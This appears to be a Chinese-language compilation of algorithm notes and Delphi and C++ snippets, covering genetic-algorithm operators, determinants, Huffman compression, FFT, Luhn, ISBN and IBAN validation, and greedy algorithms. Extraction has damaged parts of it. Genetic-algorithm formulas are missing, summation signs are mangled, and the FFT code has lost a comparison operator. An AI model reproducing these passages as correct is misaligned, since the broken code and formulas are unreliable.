，i = 1，2，…，n

选择过程

选择过程是以旋转轮盘赌n次为基础的。每次旋转都为新的种群选择一个染色体。赌轮是按照每个染色体的适应度进行选择染色体的。无论使用哪一种评价函数，选择函数总可以写成如下形式：

步骤1 对每个染色体 Vi，计算累计概率 qi

步骤2 从区间[0，qn]中产生一个随机数r;

步骤3 若，则选择第i个染色体Vi，（1 ≤ i ≤ n）；

步骤4 重复步骤2和步骤3共n次，这样可以得到n个复制的染色体。

在实际应用中可以将qi，i = 1，2 ，…，n除以qn，使qn=1，新的概率同样与适应度成正比。

交叉操作

首先定义Pc作为交叉操作的概率，这个概率说明种群中有期望值为Pc·n个染色体进行交叉操作。为确定交叉操作的父代，从i = 1到n重复以下操作：从[0，1]中产生随机数r，如果r < Pc，则选择Vi作为一个父代。

用，…，表示上面选择的父代，并把他们随机分成下面的对

，，，…，

然后对每对进行交叉操作，以为例，首先产生(0，1)之间的一个随机数c，然后按下列形式在之间进行交叉操作，并产生两个后代X和Y

，

如果可行集是凸的，这种凸组合交叉运算保证两个后代也是可行的；如果可行集不是凸集或很难验证，这时需要对X，Y进行检验，如果不符合约束条件，则需重新产生c值，重复以上交叉操作。

变异操作

13 定义Pm作为交叉操作的概率，这个概率说明种群中有期望值为Pm·n个染色体进行交叉操作。

类似交叉操作，首先选择需要变异的父代，然后对每个需变异的父代（用V表示），用下列方法进行变异。在Rn中随机选择变异方向d，取M为足够大的一个数，如果V+M·d是不可行的，则设M为0到M之间的随机数，直到其可行为止。


N*N价行列式
作者：Ghost <zhangjiawei@citiz.net>

这段源码本人原创,可做研究,不可擅自发表啊.哈哈哈哈……

怎么谢我呢？VC6下编译通过。

#include<iostream.h>

unsigned short int i,j,n;

float line[50][50],result=1.0;

void input();

void convert(int);

void output();

int main()

{

input();

unsigned short int ii,si;

float temp;

for (i=1;i<=n-1;i++)

{

j=i;

if(line[i][j]==0)

{

for(si=i+1;si<=n;si++)

if(line[si][j]!=0) break;

if(si!=n+1)

convert(si);

else

break;

}

for(ii=i;ii<=n-1;ii++)

{

temp=line[ii+1][i]/line[i][i];

for(j=i;j<=n;j++)

line[ii+1][j]=line[ii+1][j]-line[i][j]*temp;

}

}

output();

return 0;

}

void input()

{

cout<<"please input number in your determinant: ";

cin>>n;

cout<<endl;

for(i=1;i<=n;i++)

{

cout<<"the "<<i<<"th line: ";

for(j=1;j<=n;j++)

cin>>line[i][j];

cout<<endl;

}

}

void convert(int s)

{

float stemp[50];

for(j=i;j<=n;j++)

{

stemp[j]=line[s][j];

line[s][j]=line[i][j];

line[i][j]=stemp[j];

}

result=result*(-1);

}

void output()

{

for(i=1;i<=n;i++)

result=result*line[i][i];

cout<<endl<<"Now the result is "<<result<<endl;

}


Huffman Tree压缩的源代码
fishy(死鱼)

这只是压缩的，解压的还没写好，写好了再贴上来：）

我只加了时间的优化，没有加空间的优化，所以是严格按照标准Huffman Tree做的，压缩比不太高，但速度很快

老规矩，没写注释^_^

注：其中Progress是TfrmMain上的一个ProgressBar，Status是一个StatusBar

const

FileHead: string[8]='Huffman'#0;

HeadSize=8;

BufCount=$FFFF;

type

TCode=array[0..255]of Byte;

TNodeCode=record

Ascii: Byte;

Code: TCode;

end;

procedure TfrmMain.Compress (SName, TName: string);

type

PNode=^TNode;

TNode=record

Ascii, Code: Byte;

Num: Integer;

Left, Right, Father: PNode;

CodeStr: TCode;

end;

var

SFile, TFile: file;

Buf: array[1..BufCount]of Byte;

Size, Wrote: Integer;

Appears: array[0..255]of Integer;

NodeNum: SmallInt;

Nodes: array[1..256]of PNode;

CodeNum: SmallInt;

Codes: array[1..256]of TNodeCode;

AscCodes: array[0..255]of TCode;

I, J, ReadByte: Integer;

P: PNode;

{Varibles below are used for WriteBit}

Bits, CurByte: Byte;

OutBuf: array[1..BufCount]of Byte;

BitsSize: Word;

procedure BuildCode (P: PNode);

begin

if P=nil then Exit;

with P^ do

begin

CodeStr:= Father^.CodeStr;

Inc (CodeStr[0]);

CodeStr[CodeStr[0]]:= Code;

end;

if P^.Left=nil then

begin

Inc (CodeNum);

Codes[CodeNum].Code:= P^.CodeStr;

Codes[CodeNum].Ascii:= P^.Ascii;

Exit;

end;

BuildCode (P^.Left);

BuildCode (P^.Right);

end;

procedure FreeTree (P: PNode);

var

R: PNode;

begin

if P=nil then Exit;

R:= P^.Left;

FreeTree (R);

R:= P^.Right;

FreeTree (R);

Dispose (P);

end;

procedure WriteBit (Bit: Byte);

var

Temp: Byte;

begin

Dec (Bits);

Temp:= Bit shl Bits;

CurByte:= CurByte or Temp;

if Bits=0 then

begin

Bits:= 8;

Inc (BitsSize);

OutBuf[BitsSize]:= CurByte;

CurByte:= 0;

if BitsSize=BufCount then

begin

BlockWrite (TFile, OutBuf, BitsSize);

BitsSize:= 0;

FillChar (OutBuf, SizeOf(OutBuf), 0);

end;

end;

end;

procedure FlushBit;

begin

if (Bits=8) and (BitsSize=0) then Exit;

if Bits<>8 then

begin

Inc (BitsSize);

OutBuf[BitsSize]:= CurByte;

end;

BlockWrite (TFile, OutBuf, BitsSize);

Bits:= 8;

CurByte:= 0;

BitsSize:= 0;

FillChar (OutBuf, SizeOf(OutBuf), 0);

end;

begin

Canceled:= False;

Bits:= 8;

CurByte:= 0;

BitsSize:= 0;

FillChar (OutBuf, SizeOf(OutBuf), 0);

btnCancel.Enabled:= True;

AssignFile (SFile, SName);

AssignFile (TFile, TName);

Status.SimpleText:= '正在扫描输入文件...';

Reset (SFile, 1);

FillChar (Appears, SizeOf(Appears), 0);

while not Eof(SFile) do

begin

BlockRead (SFile, Buf, BufCount, ReadByte);

for I:= 1 to ReadByte do Inc (Appears[Buf[I]]);

end;

CloseFile (SFile);

Status.SimpleText:= '正在生成哈夫曼树...';

NodeNum:= 0;

FillChar (Nodes, SizeOf(Nodes), 0);

for I:=0 to 255 do

if Appears[I]>0 then

begin

New (P);

with P^ do

begin

Ascii:= I;

Code:= 2;

Num:= Appears[I];

Left:= nil;

Right:= nil;

Father:= nil;

FillChar (CodeStr, SizeOf(CodeStr), 0);

end;

J:= 1;

while (J<=NodeNum) and (Nodes[J]^.Num>=P^.Num) do Inc (J);

Inc (NodeNum);

Move (Nodes[J], Nodes[J+1], (NodeNum-J)*SizeOf(Nodes[J]));

Nodes[J]:= P;

end;

if NodeNum=1 then Nodes[1]^.Code:=0;

while NodeNum>1 do

begin

New (P);

with P^ do

begin

Num:= 0;

Ascii:= 0;

Code:= 2;

Left:= nil;

Right:= nil;

Father:= nil;

FillChar (CodeStr, SizeOf(CodeStr), 0);

end;

P^.Right:=Nodes[NodeNum];

Nodes[NodeNum]^.Father:= P;

Nodes[NodeNum]^.Code:= 1;

Inc (P^.Num, Nodes[NodeNum]^.Num);

Dec (NodeNum);

P^.Left:=Nodes[NodeNum];

Nodes[NodeNum]^.Father:= P;

Nodes[NodeNum]^.Code:= 0;

Inc (P^.Num, Nodes[NodeNum]^.Num);

J:= NodeNum;

while (J>=2) and (Nodes[J-1]^.Num<=P^.Num) do Dec (J);

Move (Nodes[J], Nodes[J+1], (NodeNum-J)*SizeOf(Nodes[J]));

Nodes[J]:= P;

end;

CodeNum:= 0;

if Nodes[1]<>nil then

if Nodes[1]^.Left=nil

then

begin

CodeNum:= 1;

with Codes[1] do

begin

Ascii:= Nodes[1]^.Ascii;

FillChar (Code, SizeOf(Code), 0);

Code[0]:=1;

end;

end

else

begin

BuildCode (Nodes[1]^.Left);

BuildCode (Nodes[1]^.Right);

end;

FreeTree (Nodes[1]);

FillChar (AscCodes, SizeOf(AscCodes), 0);

for I:= 1 to CodeNum do

with Codes[I] do

AscCodes[Ascii]:= Code;

Status.SimpleText:= '正在写输出文件...';

Reset (SFile, 1);

Rewrite (TFile, 1);

BlockWrite (TFile, FileHead[1], HeadSize);

BlockWrite (TFile, CodeNum, SizeOf(CodeNum));

for I:= 1 to CodeNum do

with Codes[I] do

begin

BlockWrite (TFile, Ascii, SizeOf(Ascii));

BlockWrite (TFile, Code[0], SizeOf(Code[0]));

for J:= 1 to Code[0] do WriteBit (Code[J]);

FlushBit;

end;

Size:= FileSize(SFile);

BlockWrite (TFile, Size, SizeOf(Size));

Wrote:= 0;

Progress.Min:= 0;

Progress.Max:= Size;

while not Eof(SFile) do

begin

BlockRead (SFile, Buf, BufCount, ReadByte);

for I:= 1 to ReadByte do

for J:= 1 to AscCodes[Buf[I], 0] do

WriteBit (AscCodes[Buf[I], J]);

Inc (Wrote, ReadByte);

Progress.Position:= Wrote;

end;

FlushBit;

CloseFile (TFile);

CloseFile (SFile);

Status.SimpleText:= '完成';

btnCancel.Enabled:= False;

end;


排列组合
排列组合：

有红，黄，蓝，白，黑五种颜色的球，任意取三个不同颜色的球，有多少种取法？（一个简单的组合题），下面的代码算法没有优化.........要是假如从100个里面取50个，那$@*$@&(*^$@*@&&^^!**

#include<iostream.h>

#include<conio.h>

void main()

{

enum Color {red,yellow,blue,white,black};

int count(0);

Color pri;

clrscr();

for (Color i=red;i<=black;i++)

for (Color j=i+1;j<=black;j++)

for (Color k=j+1;k<=black;k++)

{

count++;

cout.width(10);

for (int t=0;t<=2;t++)

{

switch(t)

{

case 0:pri=Color(i);break;

case 1:pri=Color(j);break;

case 2:pri=Color(k);break;

default:break;

}

switch(pri)

{

case red:cout<<" red";break;

case yellow:cout<<" yellow";break;

case blue:cout<<" blue";break;

case white:cout<<" white";break;

case black:cout<<" black";break;

default :break;

}

}

cout<<endl;

}

cout<<endl<<"Total:"<<count<<endl;

return;

}


随机算法
procedure Shuffle(var aArray; aItemCount: Integer; aItemSize: Integer);

{ after Julian M Bucknall }

var

Inx: Integer;

RandInx: Integer;

SwapItem: PByteArray;

A: TByteArray absolute aArray;

begin

if (aItemCount > 1) then

begin

GetMem(SwapItem, aItemSize);

try

for Inx := 0 to (aItemCount - 2) do

begin

RandInx := Random(aItemCount - Inx);

Move(A[Inx * aItemSize], SwapItem^, aItemSize);

Move(A[RandInx * aItemSize], A[Inx * aItemSize], aItemSize);

Move(SwapItem^, A[RandInx * aItemSize], aItemSize);

end;

finally

FreeMem(SwapItem, aItemSize);

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

a: array[1..10] of Integer;

i: Shortint;

begin

Randomize;

for i := Low(a) to High(a) do a[i] := i;

Shuffle(a, High(a), SizeOf(Integer));

for i := 1 to High(a) - 1 do

ListBox1.Items.Add(IntToStr(a[i]));

end;


检验信用卡的合法性
{-------------------------------------------------

Returns:

0 : Card is invalid or unknown

1 : Card is a valid AmEx

2 : Card is a valid Visa

3 : Card is a valid MasterCard

-------------------------------------------------}

function CheckCC(c: string): Integer;

var

card: string[21];

Vcard: array[0..21] of Byte absolute card;

Xcard: Integer;

Cstr: string[21];

y, x: Integer;

begin

Cstr := '';

FillChar(Vcard, 22, #0);

card := c;

for x := 1 to 20 do

if (Vcard[x] in [48..57]) then

Cstr := Cstr + chr(Vcard[x]);

card := '';

card := Cstr;

Xcard := 0;

if not odd(Length(card)) then

for x := (Length(card) - 1) downto 1 do

begin

if odd(x) then

y := ((Vcard[x] - 48) * 2)

else

y := (Vcard[x] - 48);

if (y >= 10) then

y := ((y - 10) + 1);

Xcard := (Xcard + y)

end

else

for x := (Length(card) - 1) downto 1 do

begin

if odd(x) then

y := (Vcard[x] - 48)

else

y := ((Vcard[x] - 48) * 2);

if (y >= 10) then

y := ((y - 10) + 1);

Xcard := (Xcard + y)

end;

x := (10 - (Xcard mod 10));

if (x = 10) then

x := 0;

if (x = (Vcard[Length(card)] - 48)) then

Result := Ord(Cstr[1]) - Ord('2')

else

Result := 0

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

case CheckCC(Edit1.Text) of

0: Label1.Caption := 'Card is invalid or unknown';

1: Label1.Caption := 'Card is a valid AmEx';

2: Label1.Caption := 'Card is a valid Visa';

3: Label1.Caption := 'Card is a valid MasterCard';

end;

end;


傅立叶变换
FFT algorithm for Delphi 2

David Ullrich <ullrich@math.okstate.edu>

Here's an FFT that handles 256 data points in about 0.008 seconds on a P66 (with 72MB, YMMV). Nothing but Delphi.

This one came out a lot nicer than the one I did a year ago. It's probably not optimal; if we want an optimal FFT we have to buy hardware, what the heck.

But I don't think it's too bad, performance-wise. There's a little bit of recursion involved, but the recursion doesn't involve copying any data, just a few pointers; if we have an array of length N = 2^d then the depth of the recursion is just d. Possibly it could be improved by unwrapping the recursion, it's not clear whether it would be worth the trouble. (But probably a person could get substantial inprovement with relatively little effort by unwrapping the bottom layer or two of the recursion, ie by saying

--------------------------------------------------------------------------------

if Depth < 2 then

{do what needs to be done}

--------------------------------------------------------------------------------

instead of the current 'if Depth = 0 then...' This would eliminate function calls that do nothing but make assignments, a good thing, while OTOH unwrapping all of the resursion would be trickier, and wouldn't seem as productive, since most of the function calls that would be eliminated do much more than just an assignment.)

There's a lookup table used for the sines and cosines; it could be that this is the wrong way to do it for large arrays, seems to work just fine for small to medium arrays.

Probably on a mchine with a lot of RAM a person would use VirtualAlloc(... PAGE_NOCACHE) for Src, Dest, and the lookup tables.

If anybody notices anything stupid about the way something's done not mentioned above please mention it.

What does it do, exactly? There are FFT's and FFT's - this one does the 'complex FT', that being the one I understand and care about. By this I mean that if N = 2^d and Src^ and Dest^ are arrays of N TComplexes, then a call

--------------------------------------------------------------------------------

FFT(d, Src, Dest)

--------------------------------------------------------------------------------

will fill in Dest with the complex FT: after the call Dest^[j] will equal

--------------------------------------------------------------------------------

1/sqrt(N) * Sum(k=0.. N - 1 ; EiT(2*Pi(j*k/N)) * Src^[k])

--------------------------------------------------------------------------------

, where EiT(t) = cos(t) + i sin(t) . Ie, the standard Fourier Transform.

Comes in two versions: In the first version I use a TComplex, with functions to manipulate the complex numbers. In the second version everything's real - instead of arrays Src and Dest of complexes we have arrays SrcR, SrcI, DestR, DestI of reals (for the real and imagionary parts), and all those function calls are written out inline. The first one is much easier for me to make sense of, the second version is much faster. (They both give the 'complex FFT'.) With little programs that test whether it does what it should by checking Plancherel (aka Parseval). It really does work, btw - if it doesn't work for you it's because I garbled something in the process of deleting stupid comments. The complex version:

--------------------------------------------------------------------------------

***

unit cplx;

interface

type

PReal = ^TReal;

TReal = extended;

PComplex = ^TComplex;

TComplex = record

r : TReal;

i : TReal;

end;

function MakeComplex(x, y: TReal): TComplex;

function Sum(x, y: TComplex) : TComplex;

function Difference(x, y: TComplex) : TComplex;

function Product(x, y: TComplex): TComplex;

function TimesReal(x: TComplex; y: TReal): TComplex;

function PlusReal(x: TComplex; y: TReal): TComplex;

function EiT(t: TReal):TComplex;

function ComplexToStr(x: TComplex): string;

function AbsSquared(x: TComplex): TReal;

implementation

uses SysUtils;

function MakeComplex(x, y: TReal): TComplex;

begin

with result do

begin

r:=x;

i:= y;

end;

end;

function Sum(x, y: TComplex) : TComplex;

begin

with result do

begin

r:= x.r + y.r;

i:= x.i + y.i;

end;

end;

function Difference(x, y: TComplex) : TComplex;

begin

with result do

begin

r:= x.r - y.r;

i:= x.i - y.i;

end;

end;

function EiT(t: TReal): TComplex;

begin

with result do

begin

r:= cos(t);

i:= sin(t);

end;

end;

function Product(x, y: TComplex): TComplex;

begin

with result do

begin

r:= x.r * y.r - x.i * y.i;

i:= x.r * y.i + x.i * y.r;

end;

end;

function TimesReal(x: TComplex; y: TReal): TComplex;

begin

with result do

begin

r:= x.r * y;

i:= x.i * y;

end;

end;

function PlusReal(x: TComplex; y: TReal): TComplex;

begin

with result do

begin

r:= x.r + y;

i:= x.i;

end;

end;

function ComplexToStr(x: TComplex): string;

begin

result:= FloatToStr(x.r)

+ ' + '

+ FloatToStr(x.i)

+ 'i';

end;

function AbsSquared(x: TComplex): TReal;

begin

result:= x.r*x.r + x.i*x.i;

end;

end.

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

unit cplxfft1;

interface

uses Cplx;

type

PScalar = ^TScalar;

TScalar = TComplex; {Making conversion to real version easier}

PScalars = ^TScalars;

TScalars = array[0..High(integer) div SizeOf(TScalar) - 1]

of TScalar;

const

TrigTableDepth: word = 0;

TrigTable : PScalars = nil;

procedure InitTrigTable(Depth: word);

procedure FFT(Depth: word;

Src: PScalars;

Dest: PScalars);

{REQUIRES allocating

(integer(1) shl Depth) * SizeOf(TScalar)

bytes for Src and Dest before call!}

implementation

procedure DoFFT(Depth: word;

Src: PScalars;

SrcSpacing: word;

Dest: PScalars);

{the recursive part called by FFT when ready}

var j, N: integer; Temp: TScalar; Shift: word;

begin

if Depth = 0 then

begin

Dest^[0]:= Src^[0];

exit;

end;

N:= integer(1) shl (Depth - 1);

DoFFT(Depth - 1, Src, SrcSpacing * 2, Dest);

DoFFT(Depth - 1, @Src^[SrcSpacing], SrcSpacing * 2, @Dest^[N] );

Shift:= TrigTableDepth - Depth;

for j:= 0 to N - 1 do

begin

Temp:= Product(TrigTable^[j shl Shift],

Dest^[j + N]);

Dest^[j + N]:= Difference(Dest^[j], Temp);

Dest^[j] := Sum(Dest^[j], Temp);

end;

end;

procedure FFT(Depth: word;

Src: PScalars;

Dest: PScalars);

var j, N: integer; Normalizer: extended;

begin

N:= integer(1) shl depth;

if Depth TrigTableDepth then

InitTrigTable(Depth);

DoFFT(Depth, Src, 1, Dest);

Normalizer:= 1 / sqrt(N) ;

for j:=0 to N - 1 do

Dest^[j]:= TimesReal(Dest^[j], Normalizer);

end;

procedure InitTrigTable(Depth: word);

var j, N: integer;

begin

N:= integer(1) shl depth;

ReAllocMem(TrigTable, N * SizeOf(TScalar));

for j:=0 to N - 1 do

TrigTable^[j]:= EiT(-(2*Pi)*j/N);

TrigTableDepth:= Depth;

end;

initialization

;

finalization

ReAllocMem(TrigTable, 0);

end.

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

unit DemoForm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Memo1: TMemo;

Edit1: TEdit;

Label1: TLabel;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

uses cplx, cplxfft1, MMSystem;

procedure TForm1.Button1Click(Sender: TObject);

var j: integer; s:string;

src, dest: PScalars;

norm: extended;

d,N,count:integer;

st,et: longint;

begin

d:= StrToIntDef(edit1.text, -1) ;

if d <1 then

raise exception.Create('depth must be a positive integer');

N:= integer(1) shl d ;

GetMem(Src, N*Sizeof(TScalar));

GetMem(Dest, N*SizeOf(TScalar));

for j:=0 to N-1 do

begin

src^[j]:= MakeComplex(random, random);

end;

begin

st:= timeGetTime;

FFT(d, Src, dest);

et:= timeGetTime;

end;

Memo1.Lines.Add('N = ' + IntToStr(N));

Memo1.Lines.Add('expected norm: ' +#9+ FloatToStr(N*2/3));

norm:=0;

for j:=0 to N-1 do norm:= norm + AbsSquared(src^[j]);

Memo1.Lines.Add('Data norm: '+#9+FloatToStr(norm));

norm:=0;

for j:=0 to N-1 do norm:= norm + AbsSquared(dest^[j]);

Memo1.Lines.Add('FT norm: '+#9#9+FloatToStr(norm));

Memo1.Lines.Add('Time in FFT routine: '+#9

+ inttostr(et - st)

+ ' ms.');

Memo1.Lines.Add(' ');

FreeMem(Src);

FreeMem(DEst);

end;

end.

--------------------------------------------------------------------------------

**** The real version:

****

--------------------------------------------------------------------------------

unit cplxfft2;

interface

type

PScalar = ^TScalar;

TScalar = extended;

PScalars = ^TScalars;

TScalars = array[0..High(integer) div SizeOf(TScalar) - 1]

of TScalar;

const

TrigTableDepth: word = 0;

CosTable : PScalars = nil;

SinTable : PScalars = nil;

procedure InitTrigTables(Depth: word);

procedure FFT(Depth: word;

SrcR, SrcI: PScalars;

DestR, DestI: PScalars);

{REQUIRES allocating

(integer(1) shl Depth) * SizeOf(TScalar)

bytes for SrcR, SrcI, DestR and DestI before call!}

implementation

procedure DoFFT(Depth: word;

SrcR, SrcI: PScalars;

SrcSpacing: word;

DestR, DestI: PScalars);

{the recursive part called by FFT when ready}

var j, N: integer;

TempR, TempI: TScalar;

Shift: word;

c, s: extended;

begin

if Depth = 0 then

begin

DestR^[0]:= SrcR^[0];

DestI^[0]:= SrcI^[0];

exit;

end;

N:= integer(1) shl (Depth - 1);

DoFFT(Depth - 1, SrcR, SrcI, SrcSpacing * 2, DestR, DestI);

DoFFT(Depth - 1,

@SrcR^[srcSpacing],

@SrcI^[SrcSpacing],

SrcSpacing * 2,

@DestR^[N],

@DestI^[N]);

Shift:= TrigTableDepth - Depth;

for j:= 0 to N - 1 do

begin

c:= CosTable^[j shl Shift];

s:= SinTable^[j shl Shift];

TempR:= c * DestR^[j + N] - s * DestI^[j + N];

TempI:= c * DestI^[j + N] + s * DestR^[j + N];

DestR^[j + N]:= DestR^[j] - TempR;

DestI^[j + N]:= DestI^[j] - TempI;

DestR^[j]:= DestR^[j] + TempR;

DestI^[j]:= DestI^[j] + TempI;

end;

end;

procedure FFT(Depth: word;

SrcR, SrcI: PScalars;

DestR, DestI: PScalars);

var j, N: integer; Normalizer: extended;

begin

N:= integer(1) shl depth;

if Depth TrigTableDepth then

InitTrigTables(Depth);

DoFFT(Depth, SrcR, SrcI, 1, DestR, DestI);

Normalizer:= 1 / sqrt(N) ;

for j:=0 to N - 1 do

begin

DestR^[j]:= DestR^[j] * Normalizer;

DestI^[j]:= DestI^[j] * Normalizer;

end;

end;

procedure InitTrigTables(Depth: word);

var j, N: integer;

begin

N:= integer(1) shl depth;

ReAllocMem(CosTable, N * SizeOf(TScalar));

ReAllocMem(SinTable, N * SizeOf(TScalar));

for j:=0 to N - 1 do

begin

CosTable^[j]:= cos(-(2*Pi)*j/N);

SinTable^[j]:= sin(-(2*Pi)*j/N);

end;

TrigTableDepth:= Depth;

end;

initialization

;

finalization

ReAllocMem(CosTable, 0);

ReAllocMem(SinTable, 0);

end.

--------------------------------------------------------------------------------

--------------------------------------------------------------------------------

unit demofrm;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics,

Controls, Forms, Dialogs, cplxfft2, StdCtrls;

type

TForm1 = class(TForm)

Button1: TButton;

Memo1: TMemo;

Edit1: TEdit;

Label1: TLabel;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

uses MMSystem;

procedure TForm1.Button1Click(Sender: TObject);

var SR, SI, DR, DI: PScalars;

j,d,N:integer;

st, et: longint;

norm: extended;

begin

d:= StrToIntDef(edit1.text, -1) ;

if d <1 then

raise exception.Create('depth must be a positive integer');

N:= integer(1) shl d;

GetMem(SR, N * SizeOf(TScalar));

GetMem(SI, N * SizeOf(TScalar));

GetMem(DR, N * SizeOf(TScalar));

GetMem(DI, N * SizeOf(TScalar));

for j:=0 to N - 1 do

begin

SR^[j]:=random;

SI^[j]:=random;

end;

st:= timeGetTime;

FFT(d, SR, SI, DR, DI);

et:= timeGetTime;

memo1.Lines.Add('N = '+inttostr(N));

memo1.Lines.Add('expected norm: '+#9+FloatToStr(N*2/3));

norm:=0;

for j:=0 to N - 1 do

norm:= norm + SR^[j]*SR^[j] + SI^[j]*SI^[j];

memo1.Lines.Add('Data norm: '+#9+FloatToStr(norm));

norm:=0;

for j:=0 to N - 1 do

norm:= norm + DR^[j]*DR^[j] + DI^[j]*DI^[j];

memo1.Lines.Add('FT norm: '+#9#9+FloatToStr(norm));

memo1.Lines.Add('Time in FFT routine: '+#9+inttostr(et-st));

memo1.Lines.add('');

(*for j:=0 to N - 1 do

Memo1.Lines.Add(FloatToStr(SR^[j])

+ ' + '

+ FloatToStr(SI^[j])

+ 'i');

for j:=0 to N - 1 do

Memo1.Lines.Add(FloatToStr(DR^[j])

+ ' + '

+ FloatToStr(DI^[j])

+ 'i');*)

FreeMem(SR, N * SizeOf(TScalar));

FreeMem(SI, N * SizeOf(TScalar));

FreeMem(DR, N * SizeOf(TScalar));

FreeMem(DI, N * SizeOf(TScalar));

end;

end.


CRC32校验
请参考“文件的CRC32校验”


检验ISBN是否合法

标题：检验ISBN是否合法

function IsISBN(ISBN: String): Boolean;

var

Number, CheckDigit: String;

CheckValue, CheckSum, Err: Integer;

i, Cnt: Word;

begin

{取得检验数字}

CheckDigit := Copy(ISBN, Length(ISBN), 1);

{Get rest of ISBN, minus check digit and its hyphen}

Number := Copy(ISBN, 1, Length(ISBN) - 2);

{ISBN长度必须为11，并且组成数字必须介于9和9或X}

if (Length(Number) = 11) and (Pos(CheckDigit, '0123456789X') > 0) then

begin

{Get numeric value for check digit}

if (CheckDigit = 'X') then

CheckSum := 10

else

Val(CheckDigit, CheckSum, Err);

{Iterate through ISBN remainder, applying decode algorithm}

Cnt := 1;

for i := 1 to 12 do begin

{如果当前字符介于0~9，则不包含连字符}

if (Pos(Number[i], '0123456789') > 0) then begin

Val(Number[i], CheckValue, Err);

{Algorithm for each character in ISBN remainder, Cnt is the nth

character so processed}

CheckSum := CheckSum + CheckValue * (11 - Cnt);

Inc(Cnt);

end;

end;

{校验最后的值能否被11整除}

if (CheckSum MOD 11 = 0) then

IsISBN := True

else

IsISBN := False;

end

else

IsISBN := False;

end;


检查IBAN是否合法
// IBAN = International Bank Account Number

// Example : CH10002300A1023502601

function ChangeAlpha(input: string): string;

// A -> 10, B -> 11, C -> 12 ...

var

a: Char;

begin

Result := input;

for a := 'A' to 'Z' do

begin

Result := StringReplace(Result, a, IntToStr(Ord(a) - 55), [rfReplaceAll]);

end;

end;

function CalculateDigits(iban: string): Integer;

var

v, l: Integer;

alpha: string;

number: Longint;

rest: Integer;

begin

iban := UpperCase(iban);

if Pos('IBAN', iban) > 0 then

Delete(iban, Pos('IBAN', iban), 4);

iban := iban + Copy(iban, 1, 4);

Delete(iban, 1, 4);

iban := ChangeAlpha(iban);

v := 1;

l := 9;

rest := 0;

alpha := '';

try

while v <= Length(iban) do

begin

if l > Length(iban) then

l := Length(iban);

alpha := alpha + Copy(iban, v, l);

number := StrToInt(alpha);

rest := number mod 97;

v := v + l;

alpha := IntToStr(rest);

l := 9 - Length(alpha);

end;

except

rest := 0;

end;

Result := rest;

end;

function CheckIBAN(iban: string): Boolean;

begin

iban := StringReplace(iban, ' ', '', [rfReplaceAll]);

if CalculateDigits(iban) = 1 then

Result := True

else

Result := False;

end;


平衡二叉树算法

附件>>>>> bin_tree_demo.zip


常用算法（1）贪婪算法
常用算法（1）贪婪算法

--------------------------------------------------------------------------------

作者:liuchaohai 来源: 类别:数据算法 日期:2002.09.19 今日/总浏览: 6/23

第 1 章 贪婪算法

虽然设计一个好的求解算法更像是一门艺术，而不像是技术，但仍然存在一些行之有效的能够用于解决许多问题的算法设计方法，你可以使用这些方法来设计算法，并观察这些算法是如何工作的。一般情况下，为了获得较好的性能，必须对算法进行细致的调整。但是在某些情况下，算法经过调整之后性能仍无法达到要求，这时就必须寻求另外的方法来求解该问题。

本章首先引入最优化的概念，然后介绍一种直观的问题求解方法：贪婪算法。最后，应用该算法给出货箱装船问题、背包问题、拓扑排序问题、二分覆盖问题、最短路径问题、最小代价生成树等问题的求解方案。

1.1 最优化问题

本章及后续章节中的许多例子都是最优化问题（ optimization problem），每个最优化问题都包含一组限制条件（ c o n s t r a i n t）和一个优化函数（ optimization function），符合限制条件的问题求解方案称为可行解（ feasible solution），使优化函数取得最佳值的可行解称为最优解（optimal solution）。

例1-1 [ 渴婴问题] 有一个非常渴的、聪明的小婴儿，她可能得到的东西包括一杯水、一桶牛奶、多罐不同种类的果汁、许多不同的装在瓶子或罐子中的苏打水，即婴儿可得到n 种不同的饮料。根据以前关于这n 种饮料的不同体验，此婴儿知道这其中某些饮料更合自己的胃口，因此，婴儿采取如下方法为每一种饮料赋予一个满意度值：饮用1盎司第i 种饮料，对它作出相对评价，将一个数值si 作为满意度赋予第i 种饮料。

通常，这个婴儿都会尽量饮用具有最大满意度值的饮料来最大限度地满足她解渴的需要，但是不幸的是：具有最大满意度值的饮料有时并没有足够的量来满足此婴儿解渴的需要。设ai是第i 种饮料的总量（以盎司为单位），而此婴儿需要t 盎司的饮料来解渴，那么，需要饮用n种不同的饮料各多少量才能满足婴儿解渴的需求呢？

设各种饮料的满意度已知。令xi 为婴儿将要饮用的第i 种饮料的量，则需要解决的问题是：

找到一组实数xi（1≤i≤n），使n &aring;i = 1si xi 最大，并满足：n &aring;i=1xi =t 及0≤xi≤ai 。

需要指出的是：如果n &aring;i = 1ai < t，则不可能找到问题的求解方案，因为即使喝光所有的饮料也不能使婴儿解渴。

对上述问题精确的数学描述明确地指出了程序必须完成的工作，根据这些数学公式，可以对输入/ 输出作如下形式的描述：

输入：n，t，si ，ai（其中1≤i≤n，n 为整数，t、si 、ai 为正实数）。

输出：实数xi（1≤i≤n），使n &aring;i= 1si xi 最大且n &aring;i=1xi =t（0≤xi≤ai）。如果n &aring;i = 1ai <t，则输出适当的错误信息。

在这个问题中，限制条件是n &aring;i= 1xi =t 且0≤xi≤ai，1≤i≤n。而优化函数是n &aring;i= 1si xi 。任何满足限制条件的一组实数xi 都是可行解，而使n &aring;i= 1si xi 最大的可行解是最优解。

例1-2 [装载问题] 有一艘大船准备用来装载货物。所有待装货物都装在货箱中且所有货箱的大小都一样，但货箱的重量都各不相同。设第i 个货箱的重量为wi（1≤i≤n），而货船的最大载重量为c，我们的目的是在货船上装入最多的货物。

这个问题可以作为最优化问题进行描述：设存在一组变量xi ，其可能取值为0或1。如xi 为0，则货箱i 将不被装上船；如xi 为1，则货箱i 将被装上船。我们的目的是找到一组xi ，使它满足限制条件n &aring;i = 1wi xi ≤c 且x i &Icirc; {0, 1}, 1 ≤i≤n。相应的优化函数是n &aring;i= 1xi 。

满足限制条件的每一组xi 都是一个可行解，能使n &aring;i= 1xi 取得最大值的方案是最优解。

